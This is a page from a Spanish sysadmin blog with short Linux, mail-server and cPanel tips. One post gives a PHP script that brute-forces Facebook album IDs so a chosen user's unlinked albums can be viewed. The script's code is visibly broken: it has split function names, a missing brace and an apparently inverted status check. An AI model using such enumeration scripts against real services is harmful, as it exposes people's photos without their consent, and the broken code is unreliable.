feb 09 2014

Particionar disco de más de 2TB

Category: Linuxguillem @ 5:35

Si necesitáis formatear un disco de más de 2TB y estáis teniendo problemas, en gparted, tenéis que ir al menú ‘Device’ -> ‘Create partition table’ y desplegar ‘Advanced’. En el tipo de partición hay que seleccionar ‘gpt’. Luego podréis ya crear una partición del tipo que queráis sin ningún problema.

 

Etiquetas: , , , , , ,


dic 12 2011

Problemas desinstalando virtualbox-ose en Ubuntu 10.04

Category: Linux,Tutorial,Uncategorizedguillem @ 12:23

Hoy, intentando desinstalar el paquete de virtualbox-ose para Ubuntu, he tenido problemas. Me sucedía lo siguiente:

Desinstalando virtualbox-ose …
* Stopping VirtualBox kernel modules                                            * Cannot unload module vboxdrv
[fail]
invoke-rc.d: initscript virtualbox-ose, action “stop” failed.
dpkg: error al procesar virtualbox-ose (–remove):

Para solucionarlo, hay que editar el fichero /etc/default/virtualbox-ose como root y modificar la línea en que se indica que se carguen los módulos del kernel y dejarlo a 0.


ago 29 2011

Exim + MailScanner + Mail not delivered – Mail stuck on queue

Category: Linuxguillem @ 2:03

Si tenéis problemas con una configuración exim + MailScanner y los correos entran pero luego no se envía la cola (funciona el exim que recibe correo del exterior pero no el que los procesa luego de pasar por el MailScanner) aseguraros de revisar el fichero /etc/exim/trusted-configs

Dentro de ese fichero deben estar especificados los dos ficheros de configuración de exim que usa MailScanner. Por ejemplo:
/etc/exim/exim.conf
/etc/exim/exim_out.conf

Espero ahorrarle unas horillas de trabajo a alguien… :)

Etiquetas: , , , ,


nov 06 2010

Facebook ‘hacking’

Category: Linux,PHP,pseudo-hacks,Socialguillem @ 4:05

El ‘hacking’ del título está entre comillas porque realmente no se trata de ninguna cosa muy espectacular. Lo que os quiero mostrar a continuación es un pequeño script en PHP que hice ya hace algún tiempo y que permite obtener la dirección de un álbum de alguien de facebook para poder verlo. Obviamente dicha persona no debe tener restringido el álbum, pues en caso de ser así no se ve nada de nada. Sin embargo, en el caso de que no esté restringido, se pueden ver álbumes completos a los que de otra forma no podríamos acceder. En definitiva no deja de ser un script para ‘deofuscación’ más que un hack.

En el script en si hay que poner tres parámetros:
– el $uid: corresponde al indentificador del usuario del que queréis buscar el álbum
– $from y $to: corresponden a los identificadores de álbum entre los que queremos buscar. Estos dos parámetros son los difíciles de aproximar. Por lo que he podido ver parece que se asignan de forma secuencial a cada álbum que se crea. La mejor forma para aproximar es buscar algún perfil con un Id cercano al que estáis buscando el álbum y que permita ver sus álbumes. Mirad el aid del álbum de dicho perfil y probad con un from y un to entre 500 más abajo y 500 más arriba (por lo menos). Este método sin duda es muy rudimentario, pero funciona. Quizá algún día automatice el script para que haga también una estimación del from y el to, pero eso será más adelante…

//Set User ID here
$uid = 4;
//Album ID to start from. 'Guessing' required...
$from = 1;
//Album ID to finish at. 'Guessing' required...
$to = 500;

$server = gethostbyname( 'www.facebook.com' );

for ( $ii = $from; $ii < $to; $ii++ )
{
sockAccess( $ii );
}

function sockAccess($ii)
{
global $uid;
$page = "album.php?aid=$ii&id=$uid";
global $server;
$errno = '';
$errstr = '';
$fp = 0;
$fp = fsockopen( $server, 80, $errno, $errstr, 30 );
if( $fp === 0 )
die( "Error $errstr ($errno)" );

$out = "GET /$page HTTP/1.1\r\n";
$out .= "Host: $server\r\n";
$out .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1";
$out .= " en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
$out .= "Connection: Close\r\n\r\n";
f write( $fp, $out );
$content = fgets( $fp );
$code = trim( substr( $content, 9, 4 ) );
f close( $fp );
if( $code != 200 )
echo "Album found!: http://www.facebook.com/album.php?aid=$ii&id=$uid\n";
if( !($ii%10) )
echo "Trying around: $ii\n";
return true;

Etiquetas: , , ,


oct 01 2010

Añadir SPF estricto (fail) a cPanel

Category: cPanel,Emailguillem @ 5:41

Para las cuentas ya existentes:

ls /var/cpanel/users | while read a; do
/usr/local/cpanel/bin/spf_installer $a '' 1
done

Para las nuevas, vamos a WHM->DNS Functions->Edit Zone Templates y en el Simple y en el Standard añadimos una línea al final con:

%domain%. IN TXT “v=spf1 a mx -all”

Etiquetas: , , , ,


Página siguiente »